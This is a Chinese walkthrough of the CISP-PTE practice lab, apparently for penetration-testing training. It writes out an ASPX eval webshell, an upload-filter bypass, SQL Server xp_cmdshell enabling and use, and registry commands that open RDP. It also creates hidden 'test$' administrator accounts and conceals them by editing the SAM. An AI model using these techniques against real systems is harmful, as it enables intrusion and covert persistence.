前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CISP-PTE经典靶场解析(超详细)

CISP-PTE经典靶场解析(超详细)

作者头像
红队蓝军
发布2024-08-06 08:10:36
1320
发布2024-08-06 08:10:36
举报
文章被收录于专栏:红队蓝军

信息收集

kali攻击机:192.168.111.146

靶机:192.168.111.129

环境搭建,网卡都是配置的NAT模式,同一网段下

ip

代码语言:javascript
复制
nmap -sS 192.168.111.0/24

或者

代码语言:javascript
复制
netdiscover -i eth0 -r 192.168.111.0/24

端口

代码语言:javascript
复制
nmap -A -p- -T4 192.168.111.129

1433:sql server的默认端⼝

27689: 访问看看是什么服务的端口

文件上传下载系统,使用burp对用户名和密码进行爆破,没有爆破成功。

目录

基于这个27689端口,进行目录扫描,看是否存在敏感目录

代码语言:javascript
复制
dirsearch -u http://192.168.111.129:27689

dirb http://192.168.111.129:27689

gobuster dir -u http://192.168.111.129:27689 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php,txt,html

我这里使用dirsearch进行扫描

访问:http://192.168.111.129:27689/admin/admin.aspx

访问http://192.168.111.129:27689/Robots.txt

继续访问http://192.168.111.129:27689/web.config.bak

可以看到下载了一个文件,通常.bak⽂件是备份⽂件,查看该备份文件,得到SQL server数据库的名称FileManage,用户名down,密码downsql。

连接数据库

得到用户名admin,密码asdadwn_d2112

利用文件上传功能

登录文件上传下载系统,上传文件发现只允许上传txt,jpg ,黑名单限制比较死

更具提示文件名过长会被系统截取包括系统时间在内的前32位字符作为文件名

思考:只要我们上传的文件名超过32位,通过溢出导致上传木马文件,参考ID55 ,上传文件名为aaaaaaaa.aspx.txt

代码语言:javascript
复制
文件名:aaaaaaaa.aspx.txt
内容:<%@ Page Language="Jscript"%><%eval(Request.Item["666"],"unsafe");%>

成功上传

查找文件路径,根据报错提示文件路径为../upfile/affix/"+fileName

文件路径为:http://192.168.111.129:27689/upfile/affix/638582066907968750-aaaaaaaa.aspx

连接webshell:使用蚁剑进行连接

利用文件下载功能

通过上面一系列的操作,其实可以直观的看到存在任意文件下载漏洞

点击文件名称,下载该文件

这里已经知道文件路径../upfile/affix/"+fileName

http://192.168.111.129:27689/upfile/affix/636625082296562500-bbbbbbbb.aspx

查看文件内容,得到连接密码z

使用蚁剑链接webshell

提权

点击右键,执行终端whoami

利用sqlserver 提权

数据库提权的前提条件:

代码语言:javascript
复制
1、服务器开启数据库服务
2、获取到最高权限用户密码即sa
(除Access数据库外,其他数据库基本都存在数据库提权的可能)

数据库我们已经进行了连接,现在是要获取sa的用户名和密码

在备份文件web.config.bak.2017-12-12找到了sa的用户名和密码

连接sa,数据库名称FileManage,用户名sa 密码cisp-pte@sa

使用xp_cmdshell进行提权

sql sever有一个自带的系统数据库master,而xp_cmdshell在 存储过程、扩展存储过程中,查看扩展存储过程,如果其中含有sys.xp_cmdshell 说明目标网站没有删除该组件

选择数据库,新建查询,执行命令

代码语言:javascript
复制
EXEC master.dbo.xp_cmdshell 'whoam'

成功提权

注意:如果执行命令如果报错提示关闭,那么就使用开启 xp_cmdshell 的命令(只有sa权限才可以开启)

代码语言:javascript
复制
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

权限维持

这里还可以利用xp_cmdshell开启远程桌面,新建用户,做权限维持

通过注册表开启远程桌面3389端口命令

代码语言:javascript
复制
reg add  "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

xp_cmdshell变形

代码语言:javascript
复制
EXEC master.dbo.xp_cmdshell 'reg add  "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

检查端口状态

代码语言:javascript
复制
EXEC master.dbo.xp_cmdshell 'netstat -an|find "3389"'

添加影子用户,并加入管理员组

代码语言:javascript
复制
EXEC master.dbo.xp_cmdshell 'net user test$ 123456 /add'

EXEC master.dbo.xp_cmdshell 'net localgroup administrators test$ /add'

win+r 输入mstsc,连接远程桌面

输入新建影子账户和密码

影子账户就是在windows中比较隐蔽的用户,一般在后渗透的权限维持阶段会用到。影子账户主要是利用在权限维持上,通过先建立带$符号的账户,然后利用注册表修改里面的值,使得管理员无法通过cmd及计算机管理等地方查看攻击者所创建的账户,从而实现权限维持。

成功登录

打开cmd 输入regedit,找到HKEY_LOCAL_MACHINE\SAM\SAM,修改SAM权限,赋予adminitrators完全控制权限,重启之后找到test$账户

找到administrator用户的F值数据

将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值

所对应项000003F4导出,分别命名为test.reg和1.reg

删除test$用户,将test.reg和1.reg导入注册表

代码语言:javascript
复制
net user test$ /del
regedit /s test.reg 
regedit /s 1.reg

此时在用户组已经看不到test$用户。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-08-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 信息收集
    • 端口
    • 利用文件上传功能
    • 利用文件下载功能
    • 提权
    • 利用sqlserver 提权
      • 使用xp_cmdshell进行提权
        • 权限维持
        相关产品与服务
        数据库
        云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档